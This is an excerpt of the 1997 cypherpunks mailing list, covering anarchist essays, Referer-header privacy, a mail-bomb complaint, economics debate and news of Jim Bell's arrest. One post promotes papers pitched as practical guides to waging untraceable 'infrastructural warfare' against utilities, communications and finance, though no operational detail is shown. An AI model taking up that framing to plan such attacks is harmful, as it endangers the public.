70Q7fuKKvjvo19V+yPWVw/Q9ZJR4uA+qpIyyIZf28HIn+949Mpyq75eOs686se3t
AX5q7acfjJc=
=7kz4
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 19 May 1997 07:03:01 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705182203.PAA19230@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Sunday, May 18, 1997 - 20:46:37 MET

Our form of gov't is based on the Judeo-Christian rooted belief in 
unalienable rights. (though the concepts has been around long befor 
judaism) These are rights endowed upon us by the life force, they are 
inherent in our  creation and are subject only to the laws of the 
universe not by any king, or human leader, and so they cannot be 
taken away by or infringed on by any human leader or groups.


The whole of the physical universe is bound by laws we do not make 
but can only seek to understand. Tuning in and acting in harmony with 
the laws of the universe furthers us in our development( ie 
agriculture).  Exploiting the laws greedily leads to our 
destruction.(ie thoughtless industrialization). Furthering 
nature/the life force is good, opposing nature, seeking to conquer 
and exploit it, is  bad from our human perspective.


The constitution and bill of rights was the original AP document with 
a series of checks and balance designed to keep  ultimate power, 
the right to speak out, organise, gather together, rise up and bear 
arms, in the hands of the people so no one group could impose the 
tyranny of their beliefs and the masses. I believe it is human nature 
to cast off the bonds of oppression. This is the assertion of the 
life force that always seeks to sustain and perpetuate itself in the
greatest possible array of diversity.


I believe this was a major quantum leap in the history of  human 
thought and concioussness. A giant step in the right direction of our 
true divinity but it was sorely flawed; By the concept of property 
rights. This is where the founding fathers eogos got in the way. 

The liberation movements of the last century have been based on the 
same concept of unalienable rights and have attempted to fine tune 
the document for  a more equitable distribution of planet power to 
correct the flaw.

You don't need a weatherman or a clinton to know which way the wind
blows. You don't need to be literate to know who is taking what from
whom. You don't need a judge to tell you right from wrong. you have 
instincts that can tell you just fine. 

Religion in the earliest sense was the bringing together of the group 
in an understanding of their commonanlity and uniqueness in a way 
that  stirred up ones feelings of awe for the power of the universe 
in order that we would discover our commonality while at the same 
time instilling a repect for each of our uniqness. So we could be 
inspired to submit to our inner and outer natures and act in harmony 
with it and show benevolence in our relations with each other. This 
is the ultimate anarchist, a ninja warrior of natures rainbow, who 
fights to defend the unalienable rights endowed on all by life force.

I believe that most of the folks on this list aspire to a form of 
self govt. A belief and trust in the anarchy of nature tempered with 
the benevloence brought about by the recognition of our common 
humanity. A state of affairs where each is a ninja/captain of their 
own soul.  Who recognize the inhernet rights of all and act 
accordingly without coercion or direction from an outside source, for 
the laws of the universe are within us. Who respect the rights of the 
individual and can let them that would destroy themselves destroy, 
themselves and them that would live to live. To live and let live and 
live and let die.


I believe the network is the link to the next level of evolution of 
human thought and self gov't. A new religion where we can rediscover 
our common humanity and regroup as a planet, as the one human tribe.  
A way to explore our comon roots and learn and develop appreciation 
and respect for our differences. Where in spite of all efforts to propagandize 
and spread hate our commanality will emerge. Where all voices can be 
heard and equitable solutions worked out. Not by "sheeple" but by 
people allowing their primal natural instincts to govern their 
actions to be it to  shun, support or defend or defeat someone or 
something.


We are retaking repsonsibility for our selves and our fellow humans. 

Again, you don't need a Weatherman or an FBI man to know which way 
the wind blows. Look outside your window then look inside your 
window. 



Rainbow Warrior 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 04:32:33 +0800
To: Noxemail@aol.com
Subject: Re: 10855
In-Reply-To: <970518143700_-732029033@emout11.mail.aol.com>
Message-ID: <199705182017.PAA32040@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dear Mr. Morris,

Thank you for submitting your unsolicited resume for our consideration.

Our company, Algebra Consulting Services International, does not need 
people with only Windows experience.

We think that exposure to Windows tends to prevent people from properly
developing their brains, and see it as a minus rather than a plus.

The personnel of Algebra Consulting is known for their in-depth
experience with Unix programming and Object-Oriented systems design in
languages like C++, Eiffel and Perl, and has enjoyed substantial revenue
growth in the last decade.

I wish you luck in your endeavours and hope that you can find a Windows
job elsewhere.

Best regards,

	- Igor Chudov, Personnel Director, Algebra Consulting Services Inc.

Noxemail@aol.com wrote:
> 
> 
> Dear Madam or Sir, 
> 
> 
>      I am currently seeking employment with your company and am available
> immediately. I have provided my resume, so that you have the opportunity to
> critique my skills. If interested, or you know someone who might be,
> duplicates of this resume in complete fax form are available by calling
> 602-224-0506 or 602-508-8323. In either case, enter extension #334. You will
> have the option of recieving a complete fax of my resume on that call
> whatever your location, or entering the telephone number to a fax machine of
> your choice if calling from area code 602.
> 
> 
> 
> 
> 
> Andre Morris
> 
> 3 years intense experience: 
> 
> Expert Knowledge of MS Access (Database), Word (Word Processing), Excel
> (Spreadsheet). Visual Basic and Word Basic programming for custom modules and
> procedures in all Office 95 Professional applications.
> 
> Typing 50+  WPM, Data Processing, Proofreading.
> 
> Desktop Publishing. Strong skills in Corel Draw and Quark Express. Image
> editing, manipulation, filtration, graphic design. Experience with art
> layout, design, and production of fliers, newsletters, newspapers, brochures,
> manuals, and reports.
> 
> Strong Skills in document imaging, scanning, and image storage. Familiar with
> Postscript printing systems and methods. Optical Character Recognition (OCR)
> via Text Bridge Pro.
> 
> Knowledge of PC hardware, and software. Specialize in PC equipment purchasing
> and system design. Extremely skilled under Windows 95, MS-DOS.
> 
> Knowledge of Internet web page design, site registration, web based
> marketing,  HTML publishing.
> 
> File Management, CD-ROM Storage Solutions, Record Keeping, Database 
> Management.
> 
> 
> 
> 
> 2 years intense experience:
> 
> A self starter, and self motivated. Excellent presentation, project
> management, analytical and people skills. Excellent time management and
> multi-tasking skills. Able to meet deadlines, hard working, detail oriented,
> organized. 
> 
> Gathering of research and information through all available sources including
> FTP, Internet, Usenet, All Local Libraries, Telephone, US Mail, Facsimile,
> interviews, conventions, and more. Converting information into comprehensive
> reports, policy, and operating procedures.
> 
> Automated telephone answering system design through Voice FX, including fax
> on demand, voice mailboxes, marketing and promotional messages, fax
> broadcasting.
> 
> Legal Research including A.R.S. and U.S.C., Case Law Research, and Pre Court
> Legal Case Compilation.
> 
> Drafting of correspondence, letters, monthly reports, system administration
> and management Reports, departmental reporting, discipline and performance
> reviews, and in house communications.
> 
> Project Design, Scheduling, Purchasing.
> 
> 
> 
> 
> 2 years advanced study:
> 
> Marketing: Creative Writing, Journalism, Direct Mail, Media Relations,
> display ad creation, classifieds and free ad marketing.
> 
> General Accounting: Payroll, Trust and Estate Planning, Budgeting, General
> Ledger, invoice and payment processing, state and federal tax.
> 
> Incorporation: Local and Federal Trademark and Tradename filings, logo
> development, Patent research and application, Copyright application.
> 
> Overseas Relations: Expert into the culture and business practices of the
> United Kingdom. Import/Export, shipping regulations and customs duty,
> establishing a sales base and corporate foothold in the UK, in depth
> knowledge into marketing and purchasing habits of UK residents, contacts and
> connections in UK business areas.
> 
> Charity: Knowledge of Charitable Foundations, 501( C )3 corporations, and
> Private foundations. Ability to work with and manipulate IRS regulations
> concerning charities, registrations of charities and charitable activities
> within the state of Arizona. In depth knowledge of local charitable
> activities, and a complete overview of the entire Arizona public services and
> state benefits systems. Including A.H.C.C.C.S., Welfare, Food Stamps and
> Child Assistance, Unemployment Insurace, Subsidized Housing, WIC, and
> Families with Dependent Children.
> 
> Other Misc. Experience and Abilities: Personal Physical Fitness Training,
> Print and Television Modeling, Personal Grooming, Photography, Martial Arts.
> 
> 
> 
> 
> Professional Character
> 
> The compilation and study of famous jokes and quotations. 
> 
> Study and appreciation of fine art, including paintings, cathedrals, and
> stone statues.
> 
> Interest in the works of Mozart, Vivaldi, Beethoven, Bach.
> 
> Demanding quality in every aspect of personal life, and professional career.
> 
> 
> 
> 
> Experiences to Note
> 
> I have recently returned from London, England. The cultural, artistic,
> reasoning, logical, and analytical skills that I have learned from this are
> immeasurable.  Having socialized and developed friendships with individuals
> from around the world including Italy, South Africa, Spain, Canada, USA,
> Sweden, Switzerland, Turkey, Ireland, and more has given me a tremendous
> insight into global business operations and methods. Having worked closely as
> a top level manager for a UK Charity, and also as a foreman on construction
> for the Australian Embassy in the UK, I have observed many unique and
> insightful ideas which I now intend to share.
> 
> For two years I have worked closely with a business partner to establish a
> small business. In doing so, I have learned the value of hard work. I have
> proven my ability to work 12 to 16 hours every day, for months. I have
> learned, in detail, exact laws, regulation, and policy of business operations
> in over five industries. I have gained magnificent insight into the needs of
> a corporation, and what that corporation must expect from its employees.
> Although there are thousands more considerations I can list as to the
> benefits of this training, I will simply close with a quotation:            
> 
>                Ability is nothing without opportunity - Napoleon. 
> 
>     Telephone/Fax:602-508-8323 x.667 - Telephone/Fax:602-224-0506 x.667 
>                   Additional Resume Fax Copies: Extension #334
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> NOTE: This message has been sent to you anonymously. If you wish to reply to
> this resume with an offer of employment, please do so via the contact
> information provided on the resume itself. 
> 
> This service has been deployed to protect job seekers from potential email
> abuse.
> 
> 
> 
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 19 May 1997 06:51:52 +0800
To: cypherpunks@toad.com
Subject: Nature of Anarchy/ Anarchy of Nature
Message-ID: <199705182225.PAA03246@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Sunday, May 18, 1997 - 20:46:37 MET

Our form of gov't is based on the Judeo-Christian rooted belief in 
unalienable rights. (though the concepts has been around long befor 
judaism) These are rights endowed upon us by the life force, they are 
inherent in our  creation and are subject only to the laws of the 
universe not by any king, or human leader, and so they cannot be 
taken away by or infringed on by any human leader or groups.


The whole of the physical universe is bound by laws we do not make 
but can only seek to understand. Tuning in and acting in harmony with 
the laws of the universe furthers us in our development( ie 
agriculture).  Exploiting the laws greedily leads to our 
destruction.(ie thoughtless industrialization). Furthering 
nature/the life force is good, opposing nature, seeking to conquer 
and exploit it, is  bad from our human perspective.


The constitution and bill of rights was the original AP document with 
a series of checks and balance designed to keep  ultimate power, 
the right to speak out, organise, gather together, rise up and bear 
arms, in the hands of the people so no one group could impose the 
tyranny of their beliefs and the masses. I believe it is human nature 
to cast off the bonds of oppression. This is the assertion of the 
life force that always seeks to sustain and perpetuate itself in the
greatest possible array of diversity.


I believe this was a major quantum leap in the history of  human 
thought and concioussness. A giant step in the right direction of our 
true divinity but it was sorely flawed; By the concept of property 
rights. This is where the founding fathers eogos got in the way. 

The liberation movements of the last century have been based on the 
same concept of unalienable rights and have attempted to fine tune 
the document for  a more equitable distribution of planet power to 
correct the flaw.

You don't need a weatherman or a clinton to know which way the wind
blows. You don't need to be literate to know who is taking what from
whom. You don't need a judge to tell you right from wrong. you have 
instincts that can tell you just fine. 

Religion in the earliest sense was the bringing together of the group 
in an understanding of their commonanlity and uniqueness in a way 
that  stirred up ones feelings of awe for the power of the universe 
in order that we would discover our commonality while at the same 
time instilling a repect for each of our uniqness. So we could be 
inspired to submit to our inner and outer natures and act in harmony 
with it and show benevolence in our relations with each other. This 
is the ultimate anarchist, a ninja warrior of natures rainbow, who 
fights to defend the unalienable rights endowed on all by life force.

I believe that most of the folks on this list aspire to a form of 
self govt. A belief and trust in the anarchy of nature tempered with 
the benevloence brought about by the recognition of our common 
humanity. A state of affairs where each is a ninja/captain of their 
own soul.  Who recognize the inhernet rights of all and act 
accordingly without coercion or direction from an outside source, for 
the laws of the universe are within us. Who respect the rights of the 
individual and can let them that would destroy themselves destroy, 
themselves and them that would live to live. To live and let live and 
live and let die.


I believe the network is the link to the next level of evolution of 
human thought and self gov't. A new religion where we can rediscover 
our common humanity and regroup as a planet, as the one human tribe.  
A way to explore our comon roots and learn and develop appreciation 
and respect for our differences. Where in spite of all efforts to propagandize 
and spread hate our commanality will emerge. Where all voices can be 
heard and equitable solutions worked out. Not by "sheeple" but by 
people allowing their primal natural instincts to govern their 
actions to be it to  shun, support or defend or defeat someone or 
something.


We are retaking repsonsibility for our selves and our fellow humans. 

Again, you don't need a Weatherman or an FBI man to know which way 
the wind blows. Look outside your window then look inside your 
window. 



Rainbow Warrior 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@mcimail.com>
Date: Mon, 19 May 1997 05:39:05 +0800
To: cypherpunks <cypherpunks@algebra.com>
Subject: Re: Crypto, C4 Explosives, and Destroying the Infrastructure
Message-ID: <97051821294147/0005514706DC2EM@mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
>However, there are a couple of *obvious* errors. My supposition is that he
>"pulled his punches" a little, choosing to gloss over certain things which
>would have made the "terrorist" essentially impossible to detect. (The most
>glaring error, which he surely knew better about, was to assert that NSA
>could break any cipher if given enough time and computer power.)

I would assume that anyone considering the potential of infrastructural
warfare attacks in a dramatic setting would have to handicap the moves
of the opposition force--the mechanisms of tradecraft in the modern
age are such that the anti- and counter-terror forces are whistling
in the dark as they pass the graveyard.

Steve Schear wrote:
>Any intelligent terrorist knows that explosives are old hat.
>Perhaps this is an opportunity for CPs to join in and re-write the book
>with a more factual basis and outcome, are re-publish on-line.  I volunteer
>to OCR.

The modern terrorist or opposition force will use whatever makes them
the most effective--if that means, on the cost/benefit curve, that
they use explosives, then by all means they will.  Terrorism evolves
under pressures much the way any other social element does; in this
case, evolutionary pressures are those of environment and predators.
As the security increases or improves, terrorists have historically
advanced as well (guns to explosives when airport security improved,
and the coming shift to chemical or biological weapons, as thermal
neutron analysis comes on-line).  Predators, such as intelligence or
law enforcement, merely serve to cull the herd a bit, which is why
you see fewer but more effective terrorist attacks, even as narrowly
defined in the recent U.S. State Dept. reports.  As for publication or
other expansion on the subject matter, let me point out my own work on
the topic (always pro strong crypto, pro cypherpunks, incidentally).

Infrastructural warfare is a field that should interest cypherpunks--
it has been my strongest argument for getting government out of the
security and cryptography business for a number of years now.  Feel
free to reference the URL:

		http://www.geocities.com/CapitolHill/4843/

Particularly of interest to cypherpunks (or anyone with an interest
in how to run an untraceable opposition force that could give most of
the infrastructure a good thrashing):

Waging IWAR (1997)
>From the Introduction:
"So as not to alarm the reader, let me advise you that this paper is
intended as an informal presentation of the material, very much in the
spirit of 'let us conspire!' What has been sorely lacking in
treatments of the infrastructural warfare (IWAR) subject matter has
been a practical, personal approach of thinking about, planning, and
waging IWAR operations. Given the nature of most of the professionals
acting as documentarists, the published materials are strong on theory
and speculation, and short on practical guidelines. I shall attempt to
begin to fill that gap, and I hope the reader will accept a temporary
'partnership in crime' as we work through the problems facing an
opposition force (OpFor) together.

This paper is be broken into four sections:
-Definitions, assumptions, and theory; the conceptual basis of
IWAR is important to review;
-Exploration of OpFor as a practical matter;
-A set of IWAR potential operations, for which I have chosen a
variety of examples;
-Defense-In-Depth, battling IWAR."

Infrastructural Warfare Threat Model (1997)
Abstract:
A threat model is essential to proving the validity of the threat
posed by infrastructural and information warfare (I2WAR); exploration
of the scope/activities of the threat are essential to understanding
the threat and mounting a defense against it. An opposition force' is
postulated and explored for its intent, organization, communications,
recruiting, armament, intelligence gathering and analysis, and
funding. A methodology for defining the infrastructure and
dependencies is proposed. I2WAR is defined as conflict oriented around
denial of service attacks on physical infrastructure elements
(including targets such as communications, public utilities, financial
organizations, transportation mechanisms, public facilities/events,
emergency management services, commerce, and government), denial of
service attacks on virtual' infrastructure elements (information
warfare), psychological warfare operations (attacks on decision
processes), and technologically augmented political warfare
(agitation, subversion, rioting; propaganda). Conclusions are drawn,
including suggestions for a defense-in-depth.

Battle for the Soul of Information Warfare: Pearl Harbor vs. the
Hashishim (1997)
Abstract:
Infowar has at least two distinct camps, each operating with different
basic assumptions on the threat. As these assumptions are critical to
threat modeling and defense strategies, comparing the differences is
essential. The assumptions of the Pearl Harbor' mass denial-of-service
infowar attack are contrasted with those of the Hashishim,' subtle
efforts of perversion; the historical case is presented to demonstrate
the reasoning regarding the labels. Contrasted are assumptions
regarding opposition force approach, intent, focus, targets, scale of
attack, resources of opposition force, management, command and
control, organization, funding, intelligence, defensive focus, and
political view of the problem.

Considering the Net as an Intelligence Tool (1996)
An exploration of the fitness of the net for intelligence gathering
and operational support; this is usually an assumption made by many of
the theorists on the subject, but I thought a detailed explanation
worth engaging in.

Michael Wilson
5514706@mcimail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 19 May 1997 07:55:22 +0800
To: Rich Graves <llurch@networking.stanford.edu>
Subject: Re: referers and W3 (fwd)
In-Reply-To: <Pine.GUL.3.95.970512081613.25461B-100000@Networking.Stanford.EDU>
Message-ID: <337F9366.167E@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves wrote:
> 
> A friend who webmasters a large site that is implementing
> referer-specific content sent me this when I mentioned the
> cpunks/cryptography thread of a few months back. I basically agree
> with the W3C. While user education on the potential privacy threat is
> essential, I do not believe that Netscape should violate published
> technical standards. There are also privacy and property issues from
> the server's perspective.

Just in case someone hasn't heard about this yet, we support a stealth
preference in 4.0 to turn of referer headers.  If you wish to disable
referer, you can place the following line in your prefs.js file:

pref("network.sendRefererHeader", false);

There is no UI checkbox for this preference because it was added after
we froze the UI.

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw@netscape.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Mon, 19 May 1997 08:26:31 +0800
To: cypherpunks@toad.com
Subject: Re: referers and W3 (fwd)
In-Reply-To: <337F9366.167E@netscape.com>
Message-ID: <Pine.GUL.3.95.970518170904.13290C-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


Yes, I'm aware of that. I don't think it's a good idea. If you don't agree
with the standard, work within the W3C to change it. Especially if it's an
undocumented cypherpunk-only feature, that bugs me.

-rich

On Sun, 18 May 1997, Tom Weinstein wrote:

> Rich Graves wrote:
> > 
> > A friend who webmasters a large site that is implementing
> > referer-specific content sent me this when I mentioned the
> > cpunks/cryptography thread of a few months back. I basically agree
> > with the W3C. While user education on the potential privacy threat is
> > essential, I do not believe that Netscape should violate published
> > technical standards. There are also privacy and property issues from
> > the server's perspective.
> 
> Just in case someone hasn't heard about this yet, we support a stealth
> preference in 4.0 to turn of referer headers.  If you wish to disable
> referer, you can place the following line in your prefs.js file:
> 
> pref("network.sendRefererHeader", false);
> 
> There is no UI checkbox for this preference because it was added after
> we froze the UI.
> 
> -- 
> You should only break rules of style if you can    | Tom Weinstein
> coherently explain what you gain by so doing.      | tomw@netscape.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 19 May 1997 08:37:50 +0800
To: "William H. Geiger III" <cypherpunks@toad.com
Subject: Re: Nature of Anarchy/ Anarchy of Nature
In-Reply-To: <199705182225.PAA03246@fat.doobie.com>
Message-ID: <v03007802afa54d564265@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:52 PM -0500 5/18/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>
>In <199705182225.PAA03246@fat.doobie.com>, on 05/18/97 at 04:25 PM,
>   nobody@huge.cajones.com (Huge Cajones Remailer) said:
>
>
>[New Age Snip]
>
>>I believe this was a major quantum leap in the history of  human  thought
>>and concioussness. A giant step in the right direction of our  true
>>divinity but it was sorely flawed; By the concept of property  rights.
>>This is where the founding fathers eogos got in the way.
>
>>The liberation movements of the last century have been based on the  same
>>concept of unalienable rights and have attempted to fine tune  the
>>document for  a more equitable distribution of planet power to  correct
>>the flaw.
>
><sigh> There is a fundamental fact of politics/economics that a socialist
>economy and a democratic political structure can not co-exsist.
>
>The concept of property rights is not a flaw but the foundation on which
>the constitution and this country is built on. Without the ability to
>controll ones own property all other rights fall by the wayside.
>
>I sugest reading "The Wealth of Nations" by Adam Smith for a better
>understanding of Capitalism and why it is the *only* economic model that
>works for a free society.
>

Even better, "The Road to Surfdom," F.A. Hayek, totally debunks the basis
of a planned economy and how the loss of property ownership and economic
freedom leads directly and inevitably to totalitarianism.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 19 May 1997 07:27:08 +0800
To: cypherpunks@toad.com
Subject: Re: Nature of Anarchy/ Anarchy of Nature
In-Reply-To: <199705182225.PAA03246@fat.doobie.com>
Message-ID: <199705182306.SAA18618@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705182225.PAA03246@fat.doobie.com>, on 05/18/97 at 04:25 PM,
   nobody@huge.cajones.com (Huge Cajones Remailer) said:


[New Age Snip]

>I believe this was a major quantum leap in the history of  human  thought
>and concioussness. A giant step in the right direction of our  true
>divinity but it was sorely flawed; By the concept of property  rights.
>This is where the founding fathers eogos got in the way. 

>The liberation movements of the last century have been based on the  same
>concept of unalienable rights and have attempted to fine tune  the
>document for  a more equitable distribution of planet power to  correct
>the flaw.

<sigh> There is a fundamental fact of politics/economics that a socialist
economy and a democratic political structure can not co-exsist.

The concept of property rights is not a flaw but the foundation on which
the constitution and this country is built on. Without the ability to
controll ones own property all other rights fall by the wayside.

I sugest reading "The Wealth of Nations" by Adam Smith for a better
understanding of Capitalism and why it is the *only* economic model that
works for a free society.


[More New Age Sniped]

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: How do you spell relief? OS/2!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM3+Z4I9Co1n+aLhhAQEsIwQAyYw2xh1jCmSaonXiwmY1FWNQ4DhW8/nt
oH+O1wT8537lnxZG23bYybozYl03cEWkhyGGu0dDEF1QSPyZ5SKiBr5RbUuTBHiO
LXitz0wz1SlNvS7lah0aoIRzSKThsUdKu8F1mlMtFvyRrCTWt0kYGi+wB1JF3zSe
rhe+HAZKi1w=
=YlzZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 19 May 1997 09:22:13 +0800
To: hal@rain.org
Subject: Re: referers and W3 (fwd)
In-Reply-To: <199705182021.NAA04042@crypt.hfinney.com>
Message-ID: <199705190108.SAA12788@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney writes:
 
 
> I use Eric Murray's fine "cookie jar" privacy program when I am web
> browsing on my Linux system (http://www.lne.com/ericm/cookie_jar/).

Note that it'll work with a non-UNIX browser just fine.  You do need to
have access to a Unix host to run the cookie jar program itself, but you
can tell your Windoze browser to use cookie jar as a proxy.... I run my Mac's
browser through it.

> It blocks cookies and advertisements via a very flexible config file
> mechanism.  It also eliminates other privacy-revealing outgoing data,
> including Referer, and could be easily modified to play all kinds of
> games with Referer for the adventurous.

Sounds like an idea to go along with the User-Agent spoofing I added recently.

What would make sense to use, other than sending
"http://this/is/a/bogus/referrer/sent/to/mess/up/your/stats"?
How about sending the current URL as Referrer?



-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 10:36:20 +0800
To: Steve Schear <azur@netcom.com>
Subject: Mail bombs from "helpful" Cypherpunks
In-Reply-To: <v03007800afa4f5fdcc00@[207.167.93.63]>
Message-ID: <v03007809afa575b7ce29@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


(I was locked out of getting my mail tonight for more than an hour, when a
member of the Cypherpunks list _mailed_ me a several-megabyte file without
asking first. As I explain in my message to Steve Schear, I have no way of
removing such "mail bombs" with my Eudora/POP system until they have been
downloaded to my machine (I don't have a shell account anymore). I suppose
by admitting this I am opening myself to being mailbombed by Dmitri V.,
Vladimir N, and my other Russian (or ersatz Russian) enemies.)

At 10:47 AM -0800 5/18/97, Steve Schear wrote:
>>I'll have to get it off the Iraqi or Syrian sites.
>
>Saddam doesn't want yanquis to think he is heartless.  Consider this a
>humanitarian gesture from the good people of Iraq.
>
>Attachment converted: APS 1GB Fireball:PGP 50b16 Installer.sit (SITD/SIT!)
>(0001153F)
>
>PGP mail preferred

!!!!!!!!!!!!!!!!

Your little "gesture" shut my system down through repeated attempts to
download it. It would load a bit, fail, then have to start over. It took me
more than an hour to get a complete download, at which point I could
finally delete that 4 MB file.

(I use a POP server and Eudora Pro 3.0 and know of no way to abort or skip
a load, except to call my sysadmin during business hours and ask him to
delete the message.)

THANKS FOR FUCKING NOTHING.

Never, ever, ever send me a large file without asking first!!!!!!!!!!!

Disgusted,

--TCM





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 19 May 1997 08:54:25 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Nature of Anarchy/ Anarchy of Nature
In-Reply-To: <v03007802afa54d564265@[10.0.2.15]>
Message-ID: <199705190036.TAA19421@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007802afa54d564265@[10.0.2.15]>, on 05/18/97 at 06:25 PM,
   Steve Schear <azur@netcom.com> said:


>At 5:52 PM -0500 5/18/97, William H. Geiger III wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>
>>In <199705182225.PAA03246@fat.doobie.com>, on 05/18/97 at 04:25 PM,
>>   nobody@huge.cajones.com (Huge Cajones Remailer) said:
>>
>>
>>[New Age Snip]
>>
>>>I believe this was a major quantum leap in the history of  human  thought
>>>and concioussness. A giant step in the right direction of our  true
>>>divinity but it was sorely flawed; By the concept of property  rights.
>>>This is where the founding fathers eogos got in the way.
>>
>>>The liberation movements of the last century have been based on the  same
>>>concept of unalienable rights and have attempted to fine tune  the
>>>document for  a more equitable distribution of planet power to  correct
>>>the flaw.
>>
>><sigh> There is a fundamental fact of politics/economics that a socialist
>>economy and a democratic political structure can not co-exsist.
>>
>>The concept of property rights is not a flaw but the foundation on which
>>the constitution and this country is built on. Without the ability to
>>controll ones own property all other rights fall by the wayside.
>>
>>I sugest reading "The Wealth of Nations" by Adam Smith for a better
>>understanding of Capitalism and why it is the *only* economic model that
>>works for a free society.
>>

>Even better, "The Road to Surfdom," F.A. Hayek, totally debunks the basis
>of a planned economy and how the loss of property ownership and economic
>freedom leads directly and inevitably to totalitarianism.

Yes, very good read. Have you read any of his other works?

I thought that Smith was a good start as it was his economic philosophy
that guided our founding fathers.

I find it rather depressing that too few people understand the
relationships between economics & politics and how they affect the freedom
of the individule. 

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Double your drive space! Delete Windows!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 19 May 1997 11:07:34 +0800
To: cypherpunks@algebra.com
Subject: Jim Bell goes to Jail!
Message-ID: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

- From the Oregonian Sunday edition May 18, 1997 page D-10:

IRS agents arrest Vancouver man who called for killing federal workers

* James D. Bell, who wrote the 10-part essay, "Assassination Politics," faces 
charges of interfering with a U.S. officer

By John Painter Jr.
of the Oregonian staff

VANCOUVER - A Vancouver man who has written about assassination of government 
officials and whose home was raided in April has been arrested by IRS agents 
on charges of interfering with a federal officer.

James D. Bell was held without bail in the Clark County jail.  On Monday, the 
IRS will transport him to U.S. District Court in Tacoma for his first 
appearance.  He was arrested without incident Friday evening while waiting
for 
a bus after work.

IRS agents could not be reached for comment, and the complaint underlying the 
criminal charge was sealed and unavailable.  The Clark County Jail confirmed 
that Bell was a prisoner there, held on a federal detainer.

A friend of Bell's, Robert W. East, said Bell phoned him from jail and told 
him he was arrested for interfering with a federal officer.

The affidavit for the April search warrant accused Bell of "directly 
soliciting others to set up a system to murder government officials" and 
"obtaining the home address of an IRS employee, as well as information about 
bombs and bomb-making materials."

Bell is the admitted author of a 10-part essay called "Assassination 
Politics," which has been circulated widely on the Internet, particularly in 
